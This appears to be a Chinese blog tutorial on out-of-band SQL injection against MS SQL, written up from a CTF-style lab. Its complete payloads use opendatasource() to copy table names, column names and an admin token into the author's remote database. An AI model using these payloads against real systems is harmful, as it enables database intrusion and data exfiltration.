MS SQL数据库——反弹注入

前言

正文

0x01  查表

0x02 查字段

0x03 查数据

0x04 总结

文末


前言

ms sql还有一些盲注啥的,就不去深入的去搞了,就再写一篇反弹注入

然而这边我们可以去搞个虚拟空间:香港云

涉及到的一个函数opendatasource()

可以看成open,data,source三个单词

语法:opendatasource(provider_name,init_string)

provider_name:

          注册为用于访问数据源的OLE DB提供程序的PROGID的名称,MSSQL的名称为SQLOLEDB

init_string:

        连接字符串

        连接地址,端口,用户名,密码,数据库名

         sever=链接地址,端口;uid=用户名;pwd=密码;database=数据库名称

实现功能:

获取所有库.当前库所有表.表里所有内容。本机建立库和表,方便反弹时写进东西
 

正文

0x01  查表

因为上篇我们知道字段为三,就不继续写了order by了,直接贴出payload分析

http://59.63.200.79:8015/?id=1';insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;
uid=DB_14D6751_test_admin;pwd=youngboy;database=DB_14D6751_test')
.DB_14D6751_test.dbo.test select name,id,null,null from sysobjects where xtype='U'--+

上面也提过了 opendatasource这个函数的语法了,这里的反弹注入使用insert into

opendatasource('sqloledb','server=SQL5006.webweb.com,1433;
uid=DB_14B89DA_user_admin;pwd=asdasd1793;database=DB_14B89DA_user')

'sqloledb' : 是主键,可以理解为固定格式,这一段的目标 就是连接自己的数据库

.DB_14D6751_test.dbo.test select name,id,null,null from sysobjects where xtype='U'--+

这个点就是连接符,然后dbo.test(dbo.表名)。这个之前说过了

然后在自己的这边创建一个表,里面有四个字段。因为admin表里面就有四个字段。实战中不知道几个的话,可以逐渐添加字段

如果我们只想要一个token的话,就可以设置一个字段

但是我们要先查询表,我们首先得知道id和name,所以就写个name和id。其他的使用null替代

http://59.63.200.79:8015/?id=1';insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;
uid=DB_14D6751_test_admin;pwd=youngboy;database=DB_14D6751_test')
.DB_14D6751_test.dbo.test select name,id,null,null from sysobjects where xtype='U'--+

通过这里,我们就知道了这有3个表,分别是 news,admin,dtproperties

和对应的id,接下来就可以查询字段了

 

0x02 查字段

http://59.63.200.79:8015/?id=1';insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;
uid=DB_14D6751_test_admin;pwd=youngboy;database=DB_14D6751_test')
.DB_14D6751_test.dbo.test select name,null,null,null from syscolumns where id=1977058079      --+

这里的话和 mssql的显错差不多,因为我们要知道admin这个表。但是我们还是需要字段名,因为字段里面没有id,所以就不需要再查询id了,于是就可以获取 name

 

0x03 查数据

http://59.63.200.79:8015/?id=1';insert into opendatasource('sqloledb','server=SQL5006.webweb.com,1433;
uid=DB_14D6751_test_admin;pwd=youngboy;database=DB_14D6751_test')
.DB_14D6751_test.dbo.test select token,null,null,null from admin--+

这时候就得到了 flag

这样看起来很复杂。于是我总结了一下

 

0x04 总结

id=1';insert into opendatasource('sqloledb','server=服务器地址,端口;
uid=用户名;pwd=密码;database=库名')
.库名.dbo.表名 select 字段 from sysobjects where xtype='U'--+

分号就跟堆叠注入意思一个样,可以执行多条命令

首先是 目标url,然后数据库的用户名和密码,中间使用分号隔开。

然后就跟MySQL数据库中的  information_schema.tables 一样的意思

库名.dbo.表名,然后再使用 select 字段。

字段可以为我们所控制的,但是联合查询要注意2边相等,

比如说我们并不知道字段是多少

这边报错了,那我们就再加一个null,因为id和name是必须知道的,所以必填

加完后就可以了,(咳咳,因为我这个字段写了4个,差不多就是这个意思)

当然,也可以使用order by。这时候我们成功了,然后想要admin表。

然后这是查表查字段与数据的注入语句

查表

select name,id,null,null from sysobjects where xtype='U'--+

查字段

select name,null,null,null from syscolumns where id=1977058079 --+

查数据

select token,null,null,null from admin--+

可以进行对比,方便查看

 

文末

说实话,这个反弹注入很少用到,反正我是不怎么遇到。所以没有去深入研究。但是技多不压身~~

这篇写的有点乱,咳咳

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值